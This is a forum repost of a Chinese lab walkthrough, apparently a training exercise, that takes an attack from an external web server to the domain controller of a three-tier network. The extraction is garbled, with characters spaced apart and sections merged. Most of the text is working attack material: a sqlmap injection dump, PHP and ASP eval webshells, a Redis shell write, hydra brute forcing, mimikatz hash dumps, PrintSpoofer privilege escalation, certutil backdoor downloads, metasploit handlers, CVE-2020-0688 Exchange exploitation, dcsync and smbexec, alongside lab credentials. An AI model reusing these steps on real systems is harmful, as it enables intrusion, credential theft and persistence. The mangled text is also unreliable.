搜索

[26751] 2021-07-19_【项目十一】从外网打点到内网域实战cncat

文档创建者：s7ckTeam
浏览次数：30
最后更新：2025-01-19
2021-07-19_【项目十一】从外网打点到内网域实战cncat 【 项 目 十 一 】 从 外 网 打 点 到 内 网 域 实 战 c n c a t 原 创   m o o n s e c   m o o n s e c   2 0 2 1 - 0 7 - 1 9 收 录 于 话 题   # 渗 透 测 试   免 杀   红 队   , 2 3 个 暗 月 实 战 项 目 十 一 从 外 网 打 点 到 内 网 域 实 战 从 外 网 打 点 到 内 网 域 实 战 c n c a t m o o n s e c 1 .   概 述   1 2 .   靶 场 搭 建   2 3 .   外 网 打 点   5 3 . 1 .   S Q L M A P 注 入 得 到 账 号 和 密 码   5 3 . 2 .   修 改 配 置 文 件 拿 w e b s h e l l   6 3 . 3 .   提 权 宝 塔 系 统   6 3 . 4 .   f r p 反 向 代 理 突 破 登 录   9 4 .   内 网 渗 透   1 0 4 . 1 .   主 机 信 息 收 集   1 1 4 . 2 .   横 向 渗 透   1 1 4 . 3 .   跨 网 段 扫 描   1 2 4 . 4 .   h y d r a 爆 破 r e d i s   1 2 4 . 5 .   r e d i s   w i n d o w s 写 s h e l l   1 2 4 . 6 .   a n s w r o d 连 接 s h e l l   1 3 4 . 7 .   信 息 收 集 r e d i s   服 务 器 信 息   1 4 4 . 8 .   P r i n t S p o o f e r 提 权 s e r v e r 2 0 1 2   1 5 4 . 9 .   下 载 m e t a s p l o i s t 正 向 后 门 收 集 信 息   1 5 4 . 1 0 .   设 置 服 务 方 式 启 动 后 门   1 5 4 . 1 1 .   设 置 w i n d w o s 防 火 墙 开 放 8 8 9 9 端 口   1 5 4 . 1 2 .   m e t a s p l o i t 正 向 连 接 后 门   1 6 4 . 1 3 .   o u t l o o k 查 看 邮 件   1 8 5 .   跨 网 段 内 网 渗 透   1 8 5 . 1 .   C V E - 2 0 2 0 - 0 6 8 8   攻 击 e x c h a n g e   2 0 5 . 2 .   获 取 d c 下 的 r o o t   2 1 5 . 3 .   通 过 s m b e x e c 登 录 域 控   2 2 1 概 述 概 述 暗 月 实 战 项 目 十 一 是 从 外 网 打 点 到 内 网 再 到 域 控 ， 是 三 层 网 络 ， 目 标 是 反 向 代 理 到 内 网 访 问 ， 通 过 这 个 W E B 点 的 信 息 获 取 源 码 ， 再 到 审 计 突 破 ， 再 到 内 网 。 到 了 内 网 通 过 横 向 移 动 发 现 更 多 主 机 ， 通 过 信 息 整 理 得 到 工 作 组 边 界 设 备 的 权 限 ， 再 通 过 e x c h a n g e 漏 洞 获 取 核 心 区 域 访 问 权 限 ， 再 拿 下 域 控 权 限 。 主 要 技 术 应 用 ： 基 础 的 p h p 代 码 审 计 、 w i n 系 统 的 宝 塔 系 统 提 权 、 c s 或 者 m s f 实 战 渗 透 环 境 （ v p s 一 台 ） 、 s h e l l c o d e 免 杀 过 火 绒 、 内 网 漫 游 、 三 层 网 络 、 r e d i s   w i n d o w s   写 s h e l l w i n d w o s 防 火 墙 配 置 （ 主 要 是 会 开 端 口 和 端 口 转 发 ） 、 代 理 隧 道 应 用 ， e x c h a n g e 漏 洞 命 令 执 行 ， 打 域 控 技 巧 。 2 靶 场 搭 建 靶 场 搭 建
1 2 s e r v e r - b t 和 1 2 s e r v e r - r e d i s 是 n a t 模 式 。 外 网 准 备 一 台 v p s 系 统 可 以 是 w i n 也 可 以 是 l i n u x 要 装 有 f r p 服 务 在 1 2 s e r v e r - b t 配 置 f r p [ c o m m o n ] s e r v e r _ a d d r =   你 的 v p s I P s e r v e r _ p o r t =   7 7 8 8 t o k e n = m o o n s e c 9 9 9 9 [ w e b ] t y p e =   t c p l o c a l _ i p =   1 2 7 . 0 . 0 . 1 l o c a l _ p o r t =   8 0 r e m o t e _ p o r t =   8 0 绑 定 h o s t s C : W i n d o w s S y s t e m 3 2 d r i v e r s e t c h o s t s 你 的 v p s   w w w . c o c a t . c c 3 外 网 打 点 3 . 1   S Q L M A P 注 入 得 到 账 号 和 密 码 注 入 得 到 账 号 和 密 码 P O S T / k s s _ i n c / p a y a p i _ r e t u r n 2 . p h p   H T T P / 1 . 1 H o s t : w w w . c o c a t . c c U s e r - A g e n t : M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 8 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1 F i r e f o x / 8 8 . 0 A c c e p t : t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e : z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 A c c e p t - E n c o d i n g : g z i p ,   d e f l a t e C o n n e c t i o n : c l o s e C o o k i e : Z D E D e b u g g e r P r e s e n t = p h p , p h t m l , p h p 3 ;   l o g i n i m g = A 1 I I H Q l P V w U % 3 D ; l o g i n i m g _ v e r = 1 c 6 e 1 e a 8 6 b f 5 d 4 f a 1 6 f 4 0 d 5 4 0 f c 3 d e 9 e U p g r a d e - I n s e c u r e - R e q u e s t s : 1 C a c h e - C o n t r o l : m a x - a g e = 0
破 解 得 m o o n @ 1 2 3 3 . 2   修 改 配 置 文 件 拿 修 改 配 置 文 件 拿 w e b s h e l l m o o ' ) ; e v a l ( $ _ P O S T [ c m d ] ) ; / / 3 . 3   提 权 宝 塔 系 统 提 权 宝 塔 系 统 禁 用 函 数 查 看 配 置 文 件 获 取 密 码 宝 塔 的 登 录 密 码 C : / B t S o f t / p a n e l / d a t a / d e f a u l t . p l   j S K y F F d j 宝 塔 的 登 录 端 口 C : / B t S o f t / p a n e l / d a t a / p o r t . p l 8 8 8 8 宝 塔 的 登 录 网 址 路 径 C : / B t S o f t / p a n e l / d a t a / a d m i n _ p a t h . p l / e 1 V O s m t O C : / B t S o f t / p a n e l / d a t a / d e f a u l t . d b s q l i t e 数 据 库 打 开 即 可 C a c h e - C o n t r o l : m a x - a g e = 0 C o n t e n t - T y p e : a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h : 9 4 v _ o i d = K 6 0 7 2 2 1 7 4 1 3 7 7 1 2 5 6 0 D h 4 i W 1 & v _ p s t a t u s = 2 0 & v _ a m o u n t = 1 & v _ m o n e y t y p e = 1 & r e m a r k 1 = 1 & v _ m d 5 s t r = 1 2 1 2 1 2 s q l m a p - r   s q l . t x t   - - d b m s   m y s q l   - v   1   - p   v _ o i d   - - d u m p   - C   " u s e r n a m e , p a s s w o r d " - D   w w w _ c o c a t _ c c   - T   k s s _ t b _ m a n a g e r p a s s t h r u , s y s t e m , c h r o o t , c h g r p , c h o w n , s h e l l _ e x e c , p r o c _ o p e n , p r o c _ g e t _ s t a t u s , p o p e n , i n i _ a l t e r , i n i _ r e s t o r e , d l , o p e n l o g , s y s l o g , r e a d l i n k , s y m l i n k , p o p e p a s s t h r u , p u t e n v , e x e c    
账 号 g O X Z Q j W A 密 码 j S K y F F d j 登 录 h t t p : / / l o c a l h o s t : 8 8 8 8 / e 1 V O s m t O 扫 描 端 口 只 开 放 了 2 2 和 8 0 端 口 查 看 本 地 开 放 端 口 访 问 8 8 8 8 端 口 能 访 问 登 录 页 面 但 是 登 录 不 了 。 3 . 4   f r p 反 向 代 理 突 破 登 录 反 向 代 理 突 破 登 录 当 前 站 点 是 反 向 代 理 出 去 的 ， 所 以 可 以 考 虑 能 不 能 修 改 配 置 文 件 。 可 以 看 到 文 件 是 能 修 改 ， 所 以 当 管 理 重 新 执 行 的 时 候 ， 就 能 通 过 8 8 8 8 端 口 访 问 宝 塔 的 系 统 的 8 8 8 8 端 口 。 登 录 宝 塔 系 统 n m a p   - s T   - A   1 5 4 . 1 9 4 . 2 . 1 3 9 < ? p h p e c h o   f i l e _ g e t _ c o n t e n t s ( ' h t t p : / / l o c a l h o s t : 8 8 8 8 / e 1 V O s m t O / ' ) ? > [ 8 0 8 0 ] t y p e =   t c p l o c a l _ i p =   1 2 7 . 0 . 0 . 1 l o c a l _ p o r t =   8 8 8 8 r e m o t e _ p o r t =   8 8 8 8
这 个 后 门 还 要 过 火 绒 的 。 随 便 找 了 以 前 那 些 资 源 生 成 了 一 个 后 门 。 然 后 在 宝 塔 任 务 执 行 。 4 内 网 渗 透 内 网 渗 透 4 . 1 主 机 信 息 收 集 主 机 信 息 收 集 4 . 2   横 向 渗 透 4 . 3   跨 网 段 扫 描 跨 网 段 扫 描 在 s e s s i o n 执 行 绑 定 静 态 路 由 修 改 配 置 文 件 v i / e t c / p r o x y c h a i n s . c o n f h a s h d u m p A d m i n i s t r a t o r : 5 0 0 : a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : d e 9 3 5 c 6 0 8 7 e c 3 6 7 d 3 e f 7 8 6 9 1 5 a 4 e d c c e : : : G u e s t : 5 0 1 : a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 3 1 d 6 c f e 0 d 1 6 a e 9 3 1 b 7 3 c 5 9 d 7 e 0 c 0 8 9 c 0 : : : m y s q l : 1 0 0 2 : a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 2 9 1 3 7 6 8 6 6 8 1 7 c f 2 c c f e 1 9 8 3 0 8 e 5 f 9 2 5 b : : : w w w : 1 0 0 1 : a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 8 9 4 f 3 5 3 e 8 7 0 6 2 0 b 1 8 6 a 9 a 4 6 c e 5 6 a c 8 f 1 : : : l o a d m i m i k a t z l o a d k i w i m s v I P   1 9 2 . 1 6 8 . 5 9 . 1 3 3 r u n   p o s t / w i n d o w s / g a t h e r / a r p _ s c a n n e r   r h o s t s = 1 9 2 . 1 6 8 . 5 9 . 0 / 2 4 r u n   a u t o r o u t e   - s   1 9 2 . 1 6 8 . 5 9 . 0 / 2 4 b a c k g r o u n d u s e   a u x i l i a r y / s e r v e r / s o c k s 4 a r u n
添 加 s o c k s 4   1 2 7 . 0 . 0 . 1   1 0 8 0 代 理 n m a p 扫 描 4 . 4   h y d r a 爆 破 爆 破 r e d i s 4 . 5   r e d i s   w i n d o w s 写 写 s h e l l 访 问 s h e l l 4 . 6   a n s w r o d 连 接 连 接 s h e l l 修 改 p r o x y c h a n i s . c o n f 连 接 4 . 7   信 息 收 集 信 息 收 集 r e d i s 服 务 器 信 息 服 务 器 信 息 p r o x y c h a i n s   n m a p   - s T   - P n   1 9 2 . 1 6 8 . 5 9 . 4   - p 8 0 , 8 9 , 8 0 0 0 , 9 0 9 0 , 1 4 3 3 , 1 5 2 1 , 3 3 0 6 , 5 4 3 2 , 4 4 5 , 1 3 5 , 4 4 3 , 8 7 3 , 5 9 8 4 , 6 3 7 9 , 7 0 0 1 , 7 0 0 2 , 9 2 0 0 , 9 3 0 0 , 1 1 2 1 1 , 2 7 0 1 7 , 2 7 0 1 8 , 5 0 0 0 0 , 5 0 0 7 0 , 5 0 0 3 0 , 2 1 , 2 2 , 2 3 , 2 6 0 1 , 3 3 8 9 p r o x y c h a i n s h y d r a   - P   / h o m e / k a l i / c n c a t / t o p 1 0 0 _ c n . t x t   r e d i s : / / 1 9 2 . 1 6 8 . 5 9 . 4   - t   1   - o s s h . t x t   - v p r o x y c h a i n s   r e d i s - c l i   - h   1 9 2 . 1 6 8 . 5 9 . 4 a u t h 1 2 3 4 5 6 7 8 9 q q c o n f i g   s e t   d i r   C : / i n e t p u b / w w w r o o t s e t x x x   " n n n < % e v a l   r e q u e s t ( " c m d " ) % > n n n " c o n f i g   s e t   d b f i l e n a m e   s h e l l . a s p s a v e q u i t
发 现 存 在 两 个 段 当 前 权 限 也 是 很 低 4 . 8   P r i n t S p o o f e r 提 权 提 权 s e r v e r 2 0 1 2 把 P r i n t S p o o f e r 上 传 到 C : P r o g r a m D a t a C : P r o g r a m D a t a m o o n s e c . e x e - i   - c   " w h o a m i " 4 . 9   下 载 下 载 m e t a s p l o i s t 正 向 后 门 收 集 信 息 正 向 后 门 收 集 信 息 因 为 r e i d s 主 机 是 出 不 了 网 的 所 以 要 将 后 门 放 在 宝 塔 上 的 8 0 端 口 ， 同 样 也 要 过 火 绒 。 4 . 1 0   设 置 服 务 方 式 启 动 后 门 设 置 服 务 方 式 启 动 后 门 注 意 双 引 号 转 义 启 动 后 门 m o o n s e c . e x e   - i   - c     " n e t   s t a r t     " s e r v e r   p o w e r " " 4 . 1 1   设 置 设 置 w i n d w o s 防 火 墙 开 放 防 火 墙 开 放 8 8 9 9 端 口 端 口 因 为 有 防 火 墙 拦 截 先 添 加 一 个 8 8 9 9 端 口 n e t s h f i r e w a l l   a d d   p o r t o p e n i n g   t c p   8 8 9 9   m s f 4 . 1 2   m e t a s p l o i t 正 向 连 接 后 门 正 向 连 接 后 门 启 动 后 门 c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / 1 9 2 . 1 6 8 . 5 9 . 1 3 3 / 8 8 9 9 . e x e   8 8 9 9 . e x e m o o n s e c . e x e   - i   - c     " s c   c r e a t e   " s e r v e r   p o w e r "   b i n p a t h = " C : P r o g r a m D a t a 8 8 9 9 . e x e " " m o o n s e c . e x e   - i   - c     " s c   d e s c r i p t i o n   " s e r v e r   p o w e r " " d e s c r i p t i o n " " m o o n s e c . e x e   - i   - c     " s c   c o n f i g   " s e r v e r   p o w e r "   s t a r t =   a u t o " u s e   e x p l o i t / m u l t i / h a n d l e r s e t p   a y l o a d   w i n d o w s / m e t e r p r e t e r / b i n d _ t c p s e t R   H O S T   1 9 2 . 1 6 8 . 5 9 . 4 s e t l   p o r t   8 8 9 9 e x p l o i t m o o n s e c . e x e   - i   - c   " n e t   s t a r t   " s e r v e r   p o w e r " "
这 里 有 一 个 b u g 连 上 之 后 个 几 分 钟 就 自 动 退 出 了 。 所 以 连 接 后 马 上 迁 移 进 程 防 止 失 去 连 接 。 扫 描 1 0 段 的 主 机 发 现 存 在 2 0 1 和 2 0 9 4 . 1 3   o u t l o o k 查 看 邮 件 查 看 邮 件 导 出 o u t l o o k 文 件 C : U s e r s A d m i n i s t r a t o r D o c u m e n t s O u t l o o k 文 件 从 o u t l o o k 获 取 信 息 m o o n s e c 的 密 码 是 Q Q q q 5 2 0 1 3 1 4
5 跨 网 段 内 网 渗 透 跨 网 段 内 网 渗 透 添 加 路 由 访 问 4 4 3 端 口 是 一 个 e x c h a n g e 域 控 应 该 是 c n c a t m o o n s e c Q Q q q 5 2 0 1 3 1 4 登 录 成 功 。 查 看 所 有 用 户 。 5 . 1   C V E - 2 0 2 0 - 0 6 8 8   攻 击 攻 击 e x c h a n g e 下 载 后 门 文 件 到 e x c h a n g e r u n   a u t o r o u t e   - s   1 0 . 1 0 . 1 0 . 0 / 2 4 p r o x y c h a i n s   n m a p   - s T   1 0 . 1 0 . 1 0 . 2 0 9   - p 8 0 , 8 9 , 8 0 0 0 , 9 0 9 0 , 1 4 3 3 , 1 5 2 1 , 3 3 0 6 , 5 4 3 2 , 4 4 5 , 1 3 5 , 4 4 3 , 8 7 3 , 5 9 8 4 , 6 3 7 9 , 7 0 0 1 , 7 0 0 2 , 9 2 0 0 , 9 3 0 0 , 1 1 2 1 1 , 2 7 0 1 7 , 2 7 0 1 8 , 5 0 0 0 0 , 5 0 0 7 0 , 5 0 0 3 0 , 2 1 , 2 2 , 2 3 , 2 6 0 1 , 3 3 8 9 C V E - 2 0 2 0 - 0 6 8 8 _ E X P . p y   - s   h t t p s : / / 1 0 . 1 0 . 1 0 . 2 0 9   - u   c n c a t m o o n s e c   - p   Q Q q q 5 2 0 1 3 1 4   - c   " c m d / c   c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / 1 0 . 1 0 . 1 0 . 2 0 2 / 4 4 4 4 . e x e c : / 4 4 4 4 . e x e " C V E - 2 0 2 0 - 0 6 8 8 _ E X P . p y   - s   h t t p s : / / 1 0 . 1 0 . 1 0 . 2 0 9   - u   c n c a t m o o n s e c   - p   Q Q q q 5 2 0 1 3 1 4   - c   " c m d / c   n e t s h   f i r e w a l l   a d d   p o r t o p e n i n g   t c p   8 8 9 9   m s f " C V E - 2 0 2 0 - 0 6 8 8 _ E X P . p y   - s   h t t p s : / / 1 0 . 1 0 . 1 0 . 2 0 9   - u   c n c a t m o o n s e c   - p   Q Q q q 5 2 0 1 3 1 4   - c   " c m d / c   c : / 4 4 4 4 . e x e "
5 . 2   获 取 获 取 d c 下 的 下 的 r o o t d c s y n c   a d m i n i s t r a t o r   获 取 h a s h 知 道 了 密 码 就 可 以 通 过 代 理 对 域 控 进 行 命 令 执 行 了 。 这 里 有 空 再 说 了 。 5 . 3   通 过 通 过 s m b e x e c 登 录 域 控 登 录 域 控 t y p e   1 0 . 1 0 . 1 0 . 2 0 1 c $ u s e r s a d m i n i s t r a t o r r o o t . t x t p r o x y c h a i n s   p y t h o n 3   s m b e x e c . p y   c n c a t / a d m i n i s t r a t o r : Q W E a s d 1 2 3 @ 1 0 . 1 0 . 1 0 . 2 0 1
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理